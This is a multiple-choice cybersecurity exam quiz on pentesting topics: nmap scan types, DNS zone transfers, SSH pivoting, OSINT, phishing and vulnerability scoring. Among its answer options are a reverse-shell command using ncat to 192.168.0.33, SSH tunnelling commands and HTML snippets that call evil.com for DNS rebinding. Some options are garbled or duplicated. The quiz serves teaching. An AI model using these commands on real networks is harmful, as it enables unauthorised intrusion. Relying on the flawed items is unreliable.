Quiz
Prueba 1
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Perguntas do quiz (27)
1Mark the correct answer. In a maluser test:
- AThe tester assumes the role of trusted insider acting maliciously
- BThe tester attempts to access resources, change configurations and settings, or elevate the permission beyond the handed authorization
- CAll the answers are true
- DThe tester requires the credentials of an authorized or administrative account
2A cybersecurity company aproaches you for professional advice on selecting an effective vulnerability scanner. Base on your expertise, which of the following would you recommend?
- ASelect a scanner tool that uses common output formats, facilitating easier integration with various reporting tools
- BChoose a scanner that provides an API because it will simplify the process of automating vulnerability assessments
- COne of the main requirement would be that the scanner tool minimized false negatives as they are the hard to detect once this issue happens
- DAll the options are correct
3Phishing is a part of Social Engineering attacks where:
- AAll the answers are true
- BThe attacker tricks the help desk into resetting the victim password
- CThe attacker offers the victim to download some valuable program, with some kind of back door to control the device of the victim
- DThe attacker clones a site and sends the victim a link to the false site to acquire the victim credentials
4What is the main difference between phishing and spear phishing?
- ASpear phishing is a specialization of phishing using voice
- BPhishing is a social engineering technique, while spear phishing is a maluser test
- CSpear phishing is a specialization of phishing, where the attacks are directed to carefully selected users
- DSpear phishing is a specialization of phishing addressing smartphones users, and includes vishing and smishing
5We are doing a red team exercise on www.mybank.es, after some digging with OSINT tools we have this information:
- domain : mybank.es
- dns authoritative servers:
-- pikachu.bank.es (primary)
-- charmander.bank.es
-- bulbasaur.bank.es
With this information you want to find every subdomain in the zone mybank.es, which tool and command would you use?- AAll answers are correct
- Bdig @pikachu.bank.es bank.es
- Cdig axfr bank.es @pikachu.bank.es
- Ddig @pikachu.bank.es +norecurse
6What is the purpose of using decoys in nmap scans?
- AIt is a hiding technique so that nmap sends probes to the target machine spoofing the decoy IPs, while it sends some probes to the decoy machine to get clues about the state of the ports in the target. Clues are obtained by the IP identification sequence in the decoy machine answers to the probes.
- BIt is a technique used for hiding our presence, when a scan specifies decoys, nmap sends some probes to the target machine spoofing the addresses of the decoy IPs, so that the target may be confused and think the decoy machines are also conducting a scan.
- CIt is a hiding technique so that nmap sends probes spoofing the target IP to the decoy machines, to trick the decoy machines into thinking they are being scanned by the target machine.
- Dt is a hiding technique so that nmap sends probes spoofing the target IP to the decoy machine, while it sends some probes to the decoy machine to get clues about the state of the ports in the target. Clues are obtained by the IP identification sequence in the decoy machine answers to the probes.
7The attacker wants to reach the database (port 662) in node 10.0.3.88. For security reasons, this server is not accessible externally, only internally for any other node in same subnet that needs to access to the database.
Your attacking host is at 192.168.0.33 in a external network. The firewall between your host and the target network (10.0.3.0/24) drops incoming connections from your external network, but you have a reverse shell to 10.0.3.33 in same network. sshd is running in both hosts and you consider using this host as pivot with a non privileged account user2 at the attacking host.
Select the commands needed in 10.0.0.33 to setup the SSH Port Forward.- AAll answers are incorrect
- BThe server 10.0.3.88 port 669 can not be reachable by SSH Port Forward but only using Dynamic Port Routing
- Cssh user2@192.168.0.33 -R8222:10.0.3.33:669
- DNo command is needed because SSH Port forward will be established in attacking host 192.168.0.33
8You want to scan the target network 192.168.0.0/24. Your attacking host is at 163.117.0.149. The firewall between your host and the target network drops incoming connections from your network, but you have a reverse shell with 192.168.0.3. You check sshd is running in both hosts and you consider using this host as pivot with a non privileged account user2 at the attacking host.
Select the correct answer- AThe reverse proxy is established in 192.168.0.3 and not in 163.117.0.149
- BAll answers are correct
- CRun the command "ssh -f -N -T user2@localhost -R5555:163.117.0.149:3333" from 192.168.0.3
- DRun the command "ssh -f -N -D 3333 163.117.0.149" from 192.168.0.3
9The attacker wants to reach the database (port 662) in node 10.0.3.88. For security reasons, this server is not accessible externally, only internally for any other node in same subnet that needs to access to the database.
Your attacking host is at 192.168.0.33 in an external network. The firewall between your host and the target network (10.0.3.0/24) drops incoming connections from your external network. You have access to 10.0.3.33 in same network. So in order to start an attack first you need to set up a reverse shell from your pivot node 10.0.3.33
Think about the commands needed to setup a reverse shell using the tool ncat in port 443 using ssl to avoid firewall.
Select the correct answer:- ARun the command "ncat –e /bin/bash -nv 192.168.0.33 443 --ssl" in 10.0.3.33
- BRun the command "ncat –nlvp 443 --ssl" in 10.0.3.33
- CAll answers are incorrect
- DRun the command "ncat –nlvp 443" in 10.0.3.33
10An attacker is planning a DNS rebinding attack. The initial step in this attack involves sending a DNS query to a DNS proxy server. Given that the attacker can modify the content on https://friends.com/page.php, select the most stealthy option where the victim has to make a name resolution request to the evil.com nameserver.
- AInclude the HTML snippet: <img src="https://evil.com/pixel.png" alt="" style="width:1px; height:1px;"> in https://friends.com/page.php
- BInclude the HTML snippet: <meta http-equiv="refresh" content="0;url=https://evil.com"> in https://friends.com/page.php
- CInclude the HTML snippet: <iframe src="https://evil.com/promo.html" width="300" height="250" title="New Promotions!"></iframe> in https://friends.com/page.php
- DInclude the HTML snippet: <a href="https://evil.com">Click here for free goodies!</a> in https://friends.com/page.php
11These diagrams labeled with letters from A to H are describing the different nmap scans. Match the nmap scan with the corresponding diagram:

- ATCP SYN SCAN
- BVERSION DETECION SCAN
- CTCP NULL SCAN
- DIP PROTOCOL SCAN
- ETCP FIN SCAN
- FTCP SYN SCAN
- GTCP NULL SCAN
- HIP PROTOCOL SCAN
- ITCP FIN SCAN
- JTCP PING SCAN
- KTCP NULL SCAN
- LIP PROTOCOL SCAN
- MTCP FIN SCAN
- NTCP PING SCAN
- OTCP NULL SCAN
- PIP PROTOCOL SCAN
12The difference between Red Team engagement and Blue Team pentesting is that:
- ARed Team tries to obtain important documents, credentials or other valuable resources
- BRed Team test Blue Team policies but not the other way round
- CAll the answers are true
- DPentesting happens at known periods of time and are less ambitious (more restricted) as to the target
13You are looking for information about your target www.test.com. You find that one of the developers of www.test.com has an GitHub account, with public projects.
You enter in all of these projects but they are empty now, so you think that you can not get any valuable information about your target.
Choose the best answer.- AThere could be information hidden in old commits that can not be seen in the current HEAD
- BNone of the answers are correct
- CYou can still get valuable information, for example user email of the account
- DIf now there is not valuable information you should stop looking for information in those projects.
14The scans
nmap -sS -p80 163.117.141.3
nmap -sT -p80 163.117.141.3- AThe first requires privileges, the second not. Both try to detect if the host is up and if port 80 is open, closed or filtered
- BThe first is a non privileged and the second is a privileged scan. Both try to detect if the host is up and if port 80 is filtered or unfiltered
- CThe second requires privileges, the first not. Both try to detect if the host is up and if port 80 is open or closed
- DThe first is a non privileged scan to detect if the host is up and if port 80 is open, closed or filtered
15The MITRE ATT&CK framework is a comprehensive knowledge base used to understand and classify adversary behaviors and actions across their lifecycle. Which of the following statements accurately reflects the structure and use of the MITRE ATT&CK framework?
- AReconnaissance is a tactic within the MITRE ATT&CK framework
- BIn the MITRE ATT&CK framework, “tactics” represent the actions or methods adversaries use to achieve their objectives
- CAll answers are correct
- DMITRE ATT&CK is a knowledge base of adversary tactics and techniques for offensive purposes
16OSINT consists of:
- ACollecting information using public search engines such as Google and Bing
- BCollecting information stored from web spiders in databases that are offered through an API on the basis of regular subscription fees or pay-as-you-inquire schemes
- CCollecting all the information using either passive or active scanning that may be of interest for the penetration test
- DCollecting information from open (public) sources about the target
17What is the purpose of the following command?
nmap -p80 -Pn -sV --script=vuln/vulscan/vulscan.nse --script-args vulscancoutput='{id}:{title} ({matches}) \n' -oA output -v 163.117.141.3-254- AA scan of 252 hosts for non-web vulnerabilities
- BA vulnerability scan of 252 hosts in the port 80
- CTo use the HTML snippet <a href="https://evil.com">Click here for free goodies!</a> in https://friends.com/page.php
- DA vulnerability scan of two hosts (163.117.141.3 and 163.117.141.254) for all type of vulnerabilities
18The scan: nmap -sS -p80 163.117.141.3
- AIs a privileged scan to detect if the host is up and if port 80 is filtered or unfiltered
- BIs a non privileged scan to detect if the host is up and if port 80 is open, closed or filtered
- CIs a non privileged scan to detect if the host is up and if port 80 is open or filtered
- DIs a privileged scan to detect if the host is up and if port 80 is open, closed or filtered
19What matches will return google to the following search string:
intitle:"Spoof admin" inurl:admin allintext:"intrusion steps" -site:acme.com- AWeb pages containing the string admin in the url not indexed in the site acme.com
- BWeb pages containing the string "Spoof admin" in the title not indexed in the site acme.com
- CWeb pages containing the string "intrusion steps" in the text of the page not indexed in the site acme.com
- Da ∩ b ∩ c
- Ea ∪ b ∪ c
20What is an nmap zombie scan?
- AIt is a technique used for hiding our presence; when a scan specifies a zombie, nmap sends some probes to the target machine spoofing the addresses of the zombie, so that the target may be confused and think the zombie is also conducting a scan.
- BIt is a hiding technique so that nmap sends probes to the target machine spoofing the zombie address. Nmap gets clues about the state of the ports in the target by sending additional probes to the zombie machine. Clues are obtained by the IP identification number in the zombie machine answers to the probes.
- Ct is a hiding technique so that nmap sends probes spoofing the target IP to the zombie machine, to trick the zombie into thinking it is being scanned by the target machine.
- DIt is a hiding technique so that nmap sends probes spoofing the target IP to the zombie machine, while it sends some probes to the zombie machine to get clues about the state of the ports in the target. Clues are obtained by the IP identification number in the zombie machine answers to the probes.
21If you want to reduce the likelihood of detection when scanning with nmap, what techniques should you use? It can be one or more correct answers. Select all answers that you think are correct:
- AYou can add the option -f to fragment IP packets and so the detection will be harder for IDS or IPS systems.
- BRun "nmap -sT [TARGET_IP]" because it completes the TCP three-way handshake and so IDS/IPS will think that this is a legitimate client.
- CRun nmap using the option -T4 in order to scan over a more extended period and so to help avoid detection.
- DRunning a ping sweep (-sn) to ping a range of IP addresses randomly to make harder the detection.
- ERun "nmap -sS [TARGET_IP]" because it does not complete TCP handshake and can avoid possible IDS or IPS alerts.
22Let list be a list of sites, and server the IP of some DNS server. The command:
dig @server -f list +norecurse- AIdentifies which of the names in list were previously resolved by server
- BResolves the names in list using server
- CAll the answers are true
- DIdentifies which of the names in list belong to the zone managed by server
23What packets does nmap send by default for the host discovery (-sn), prior to port scanning and portrule scripting in IPv4?
- AThis command can only be executed by a privileged user
- BThe default host discovery consists TCP SYN to port 443 and port 80
- CThe default host discovery consists of an ICMP echo request and an ICMP timestamp request
- DAll the answers are false
24If you need a fast scan of a network of hundreds of millions of IPs, what would be the best solution
- AUse the most aggressive nmap timings with -T5
- BUsing a specific tool like masscan
- CAchieve maximum parallelization of scans and scan groups using options --max-hostgroup, --max-parallelism
- DAll the answers are true
25Select the correct answer about CWSS and CVSS
- AThe CVSS score can be adjusted over time with the Temporal Score metric
- BCWSS provides a mechanism to score vulnerabilities in a consistent way
- CAll answers are correct
- DCWSS is one of the metrics that is used to calculate CVSS score
26Select the correct answer about OWASP risk calculator and CVSS
- AOWASP calculator provides a business impact factor that CVSS lacks
- BCVSS gives higher score than OWASP calculator for same CVE if environmental and temporal metrics groups are used
- CAll answers are incorrect
- DA security researcher could score a security risk using the new system CVSS4.0
27What method should be used to determine the primary nameserver for a DNS zone?
- AYou query the SOA RR to your local nameserver where you will find its name.
- BYou query for the NS RR of the zone and the first in the list is the primary.
- CYou query directly to one of the NS and select the NS with lower integer.
- DAll of the answers are true.
Informações
- Descrição
- Ciberseguridad Quiz sobre Prueba 1, criado por Elvira González em 11-11-2024.
- Autor
- Elvira González
- Idioma
- Español
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